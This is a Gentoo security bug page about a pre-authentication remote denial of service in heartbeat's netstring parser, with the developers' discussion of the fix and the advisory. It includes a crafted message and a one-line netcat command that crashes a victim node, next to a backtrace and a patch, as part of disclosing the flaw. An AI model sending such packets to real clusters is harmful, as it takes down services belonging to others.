Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 141894 - sys-cluster/heartbeat Another local DoS (CVE-2006-{3121|3815})
Summary: sys-cluster/heartbeat Another local DoS (CVE-2006-{3121|3815})
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High minor (vote)
Assignee: Gentoo Security
URL: http://cve.mitre.org/cgi-bin/cvename....
Whiteboard: B3 [glsa] jaervosz
Keywords:
: 144244 (view as bug list)
Depends on:
Blocks:
 
Reported: 2006-07-27 08:45 UTC by Sune Kloppenborg Jeppesen (RETIRED)
Modified: 2006-08-24 11:00 UTC (History)
2 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2006-07-27 08:45:57 UTC
Found by Mr. Yan Rong Ge.

This vulnerability was discovered on Monday, but it is not as interesting (nor straightforward) as the previous local one...
Description of a remote Denial of Service vulnerability in heartbeat
=======================================================================

---------
Summary
---------

The function peel_netstring() in lib/clplumbing/cl_netstring.c does not
validate the 'length' parameter in user input. A crafted heartbeat message
in netstring format can cause the master control process to access (read)
invalid memory and die of a SEGV. This happens before authentication.

Following is an example of a crafted heartbeat message: (two lines)

###
70000000:

Thus a simple command as follows (issued from another member of the cluster) 
may cause SEGV to the victim heartbeat daemon (master control process). The
example uses unicast udp as the communication media between the two nodes.

$ ( echo "###" && echo "70000000:" ) | netcat -u 12.34.56.78 694

where 12.34.56.78 is the IP address of the victim node and 694 is the port
where the communication plugin listens from incoming heartbeat messages. 
70000000 is an arbitrary offset that may (or may not, depending on the actual 
memory layout of the process) cause SEGV.

---------
Details
---------

A backtrace (in gdb) of the master control process when receiving SEGV
is as follows:

0x40053b6b in peel_netstring (s=0x8112130 "70000000:\n", smax=0x811213b "",
    len=0xbfd96628, data=0xbfd9662c, parselen=0xbfd96624) at cl_netstring.c:296
296             if (*sp != ','){
(gdb) bt
#0  0x40053b6b in peel_netstring (s=0x8112130 "70000000:\n", smax=0x811213b "",
    len=0xbfd96628, data=0xbfd9662c, parselen=0xbfd96624) at cl_netstring.c:296
#1  0x40053ec7 in netstring2msg_rec (s=0x811212c "###\n70000000:\n", length=15,
    slen=0xbfd96668) at cl_netstring.c:412
#2  0x40053fe3 in netstring2msg (s=0x811212c "###\n70000000:\n", length=15,
    needauth=1) at cl_netstring.c:448
#3  0x400505fa in wirefmt2msg_ll (s=0x811212c "###\n70000000:\n", length=15,
    need_auth=1) at cl_msg.c:2422
#4  0x4004f280 in msgfromIPC_ll (ch=0x80f6ac8, flag=1) at cl_msg.c:1787
#5  0x4004f2d2 in msgfromIPC (ch=0x80f6ac8, flag=1) at cl_msg.c:1802
#6  0x080500ee in read_child_dispatch (source=0x80f6ac8, user_data=0x8073700)
    at heartbeat.c:1281
#7  0x40042fc7 in G_CH_dispatch_int (source=0x80fb508, callback=0, user_data=0x0)
    at GSource.c:610
#8  0x4009335c in g_main_context_dispatch () from /opt/gnome/lib/libglib-2.0.so.0
#9  0x400967cb in g_main_context_check () from /opt/gnome/lib/libglib-2.0.so.0
#10 0x40096ae7 in g_main_loop_run () from /opt/gnome/lib/libglib-2.0.so.0
#11 0x080507a8 in master_control_process () at heartbeat.c:1535
#12 0x0804f95c in initialize_heartbeat () at heartbeat.c:990
#13 0x080562f0 in main (argc=1, argv=0xbfd96c74, envp=0xbfd96c7c)
    at heartbeat.c:4842

Inspection shows that the vulnerable statement is around line 295:

        sp += (*len);
        if (*sp != ','){
                return(HA_FAIL);
        }

where (*len) is assigned in line 275:

        if (sscanf(sp,"%d", len) != 1){
                return(HA_FAIL);
        }

where (sp) points directly to the incoming heartbeat packet.

---------------
Suggested Fix
---------------

The vulnerability described above can be fixed by validating the 'length'
parameter in user input:

295a296,298
>       if (sp >= smax) {
>               return (HA_FAIL);
>       }
Comment 1 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2006-07-27 08:50:09 UTC
Upstream will release in 1-2 weeks time. Attach an ebuild to this bug if you want pretesting before public disclosure.
Comment 2 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2006-08-16 07:26:09 UTC
Public now ?
CVE reference is still closed but SA21511 has been issued :

solution = update to 1.2.5 or 2.0.7
Comment 3 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2006-08-16 07:35:26 UTC
xmerlin, is 2.0.7 a valuable candidate for stabilization ? 

tsunam, could you test it please ?

I think SA 21511 (followed by Ubuntu, Debian and Mandriva) concerns this issue but i prefer to wait for Sune before opening the bug.
Comment 4 Christian Zoffoli (RETIRED) gentoo-dev 2006-08-16 08:41:29 UTC
2.0.7 is a valuable candidate
Comment 5 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2006-08-18 03:01:58 UTC
Definitively public now, thanks to our new padawan Akraut.

x86 please test 2.0.7 and mark stable if appropriate, thanks.
Comment 6 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2006-08-18 03:02:16 UTC
*** Bug 144244 has been marked as a duplicate of this bug. ***
Comment 7 Christian Zoffoli (RETIRED) gentoo-dev 2006-08-18 03:39:52 UTC
1.2.5 and 2.0.7 marked stable on x86.
Comment 8 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2006-08-18 05:12:08 UTC
good. Thanks. Removing x86 from CC.

Sec team : please vote on GLSA.

I personnally vote yes (very easy remote DoS having potentially heavy consequencies)
Comment 9 Donnie Berkholz (RETIRED) gentoo-dev 2006-08-18 06:35:26 UTC
(In reply to comment #5)
> Definitively public now, thanks to our new padawan Akraut.
> 
> x86 please test 2.0.7 and mark stable if appropriate, thanks.

It was public before then, http://lwn.net/Alerts/195592/ or http://lwn.net/Alerts/195783/ show you that.
Comment 10 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2006-08-18 08:02:20 UTC
> 
> It was public before then, http://lwn.net/Alerts/195592/ or
> http://lwn.net/Alerts/195783/ show you that.
> 

i know that, cf my comments #2 + #3 in which SA21511 mentioned it too. It was only 2 days ago. It was confidential the two weeks before. So what's wrong? Wasn't i enough responsive ?
Comment 11 Donnie Berkholz (RETIRED) gentoo-dev 2006-08-18 08:41:26 UTC
(In reply to comment #10)
> i know that, cf my comments #2 + #3 in which SA21511 mentioned it too. It was
> only 2 days ago. It was confidential the two weeks before. So what's wrong?
> Wasn't i enough responsive ?

You're doing fine. My point is that the padawan here didn't break some embargo, it was public prior to him filing the bug. That's what was implied earlier.
Comment 12 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2006-08-18 09:26:34 UTC
> You're doing fine. My point is that the padawan here didn't break some embargo,

of course :)

> it was public prior to him filing the bug. That's what was implied earlier.
> 

ok
Comment 13 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2006-08-19 09:22:35 UTC
Voting YES, let's have a GLSA.
Comment 14 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2006-08-24 11:00:46 UTC
GLSA 200608-23